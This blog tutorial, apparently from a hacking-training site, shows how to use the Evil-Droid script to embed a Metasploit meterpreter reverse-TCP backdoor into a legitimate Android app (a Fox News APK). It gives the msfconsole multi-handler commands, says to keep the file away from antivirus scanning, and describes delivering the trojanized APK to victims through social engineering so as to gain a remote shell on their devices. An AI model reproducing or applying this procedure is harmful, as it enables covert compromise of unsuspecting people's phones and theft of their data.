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Android Hacking, Part 2: How to Embed a Backdoor into an Android APK

Welcome back, my fledgling hackers!

Mobile devices--smartphones and tablets--are proliferating around the world and slowly overtaking desktop and laptop machines. These mobile devices generally run either the iOS or the Android operating system, with Android comprising the bulk of all mobile device OS's (82%). Considering the growth of the mobile market and the dominance of the Android operating system, it only makes sense that Android hacking is increasingly becoming the leading edge of hacking. As such, we will spend increasing time and tutorials on Android hacking here at Hackers-Arise to prepare you for this eventuality.

This is the third entry in Android Hacking series with Setting up a Android Hacking Lab and Android Basics preceding it. I strongly recommend that you look over my Android Basics article before proceeding further into this series.

Step #1 Download and Install Evil Droid

To embed a backdoor into an Android APK, we will be using Evil-Droid. It's a python script developed by Mascerano Bachir that generates a framework for creating and embedding an APK payload to penetrate Android platforms.

To download the script, you can clone it into your system by entering;

kali > git clone

If you get an error message indicating that some of Evil-Droid's dependencies are not available or out-of-date, you may need to upgrade to newer versions of your packages.

kali > apt-get upgrade

Step #2 Give Yourself Execute Permissions

The next step, of course, is to give yourself permission to execute this script. First, navigate to the Evil-Droid directory and then use chmod to give yourself execute permission.

kali > cd Evil-Droid

kali > chmod 775 evil-droid

Step #3 Execute Evil Droid

Next, let's execute evil-droid. Evil-droid will check to see whether you have an Internet connection and several pieces of necessary software, including Metasploit.

kali > ./evil-droid

Note the bottom warning in RED. Do NOT upload the APK to as that will trigger an antivirus signature by the AV developers.

Step #4 Execute the Framework

Once evil-droid has successfully located all it's necessary components, you will receive a message like that below asking whether you want to "Execute Framework and services". Click "Yes".

Step #5 Select Backdoor

You will be greeted by the menu screen below. You can select any of the backdoors by number. Here we selected "Backdoor APK Original (NEW)".

Step #6 Select IP and Port

Evil-droid will then ask you to set your LHOST (for Metasploit) and display your local IP and Public IP.

Then, it will prompt you for your LPORT. Port 4444 is the default port for Metasploit's Meterpreter and other payloads.

Step #7 Name your Payload

Evil-droid will then ask you to name your payload. Here I named it hackers-arise-app, but you can name it whatever pleases you.

Step #8 Select Your Payload/Listener

Now, we need to select a payload. Evil-droid enables you to use any of the Android payloads from Metasploit including android/meterpreter/reverse_tcp. Simply click on the radio button next to the payload you want to embed in the APK.

Step #9 Download APK and Embed Backdoor

Next, evil-droid prompts us for the APK file we want to embed the backdoor into. Here, I have downloaded the beloved Foxnews.apk for embedding our backdoor.

Step #10 Select Metasploit Multi-Handler to make a Connection

In our next step, we need to tell evil-droid how we are going to connect to the backdoor. Select "Multi-Handler".

We now need to open the multi-handler in Metasploit so that it can "catch" the connection coming back from the embedded payload.

Open Metasploit by entering;

kali > msfconsole

Now we need to start the multi-handler and tell Metasploit what IP and port to listen on and which payload to listen for.

msf > use exploit/multi/handler

msf > set PAYLOAD android/meterpreter/reverse_tcp


msf > set LPORT 4444

Step #11 Deliver the APK to the Target

In this final step, we need to have the APK (with the embedded backdoor) to be installed and executed on the target's Android device. This is where some social engineering skills can prove helpful. You can email the APK or send it via DropBox or other file sharing system. If you have physical access to the device, you could simply install it yourself.

When the target user installs the app to view their "Fair and Balanced" FoxNews, it will execute the backdoor and connect back to your system giving you a meterpreter shell on their android device!

From the meterpreter shell, we can do just about anything on the Android device. For a list of Meterpreter commands, click here.

Keep coming back my fledgling hackers as we explore even more ways to hack Android devices!

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